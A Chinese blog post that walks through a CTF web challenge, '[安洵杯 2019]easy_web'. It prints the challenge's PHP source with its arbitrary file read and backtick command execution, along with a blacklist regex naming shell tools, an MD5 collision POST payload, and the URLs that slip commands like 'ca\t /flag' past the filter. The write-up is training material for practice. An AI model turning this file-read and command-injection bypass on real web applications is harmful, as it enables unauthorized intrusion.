• [安洵杯 2019]easy_web


    1. 🍬 博主介绍
    2. 👨‍🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
    3. ✨主攻领域:【渗透领域】【应急响应】 【Java、PHP】 【VulnHub靶场复现】【面试分析】
    4. 🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
    5. 🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
    6. 🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

    目录

    第一步:

    第二步:

    第三步:

    第四步:


    flag{b0f09619-dc95-457c-93cf-0efa3ca86a07}

    第一步:

    首先我们访问题目的链接,出现下面的静态html页面,也没有找到什么有价值的信息。

    我们右击查看网页源代码,查看下有什么提示没有,发现就是一个base64编码而成的图片。

    但是我们发现这个url有传参,而且在url中,发现img这个位置存在一串字符串,看着像是base64编码的,我就尝试着base64解码,发现这个字符串是利用两次base64编码然后再利用一次hex编码,经过解码得到555.png,那么我们到这里就可以想着,要是可以拿到index.php的源代码,那么我们再进行代码审计,查看下有什么线索没有。

    第二步:

    我们利用burp抓包,然后再按一次先hex编码,然后再两次base64编码,然后修改img的值,然后利用img读取index.php的源代码。

    1. error_reporting(E_ALL || ~ E_NOTICE);
    2. header('content-type:text/html;charset=utf-8');
    3. $cmd = $_GET['cmd'];
    4. if (!isset($_GET['img']) || !isset($_GET['cmd']))
    5. header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
    6. $file = hex2bin(base64_decode(base64_decode($_GET['img'])));
    7. $file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
    8. if (preg_match("/flag/i", $file)) {
    9. echo '';
    10. die("xixi锝?no flag");
    11. } else {
    12. $txt = base64_encode(file_get_contents($file));
    13. echo "";
    14. echo "
      "
      ;
    15. }
    16. echo $cmd;
    17. echo "
      "
      ;
    18. if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    19. echo("forbid ~");
    20. echo "
      "
      ;
    21. } else {
    22. if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
    23. echo `$cmd`;
    24. } else {
    25. echo ("md5 is funny ~");
    26. }
    27. }
    28. ?>

    第三步:

    读取 index.php 源码之后审计源码。发现通过 rce 拿到 flag 之前需要通过一个判断

    (string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])
    

    这里的判断是强MD5碰撞,需要利用POST数据包,进行一个MD5碰撞

    参考链接:

    md5弱类型和强碰撞 - 简书

    这里再给大家科普下MD5强碰撞的一些例子:

    MD5碰撞的一些例子 - 简书

    最终的MD5碰撞的payload如下:

    a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

    这里的MD5碰撞时POST传参的,所以我们这里进行查看flag之前,先修改POST传参

    然后再根据开始的MD5碰撞的payload修改如下(POST传参)

    第四步:

    分析代码的正则绕过,绕过一看确实很强,但是细看,发现 ''反斜杠,没有匹配到,所以我们可以利用ca\t进行读取flag值。

    preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)
    
    /index.php?cmd=dir
    

    /index.php?cmd=dir%20/
    

    /index.php?cmd=ca\t%20/flag
    

    但是我看完官方的WP以后,发现还有一个命令可以读取flag,sort这个命令也还好,也不是很陌生,所以师傅们可以记下。

    /index.php?cmd=sort%20/flag
    

  • 相关阅读:
    Vue3:响应式数据的基本使用(ref、reactive)
    众享比特未来融合研究院执行院长王陈慧子博士以第一作者在IEEE TCSS上发表论文
    leetcode 746. 使用最小花费爬楼梯
    看看Python 3.9中即将推出的令人敬畏的新功能
    Flask 学习-37.Flask-RESTful 序列化输出fields 字段设置
    HTTPS的实现原理
    高速DSP系统设计参考指南(三)串扰
    数据库事务相关问题
    编程面试_动态规划
    【推荐系统】:协同过滤和基于内容过滤概述
  • 原文地址:https://blog.csdn.net/SENMINGya/article/details/136620294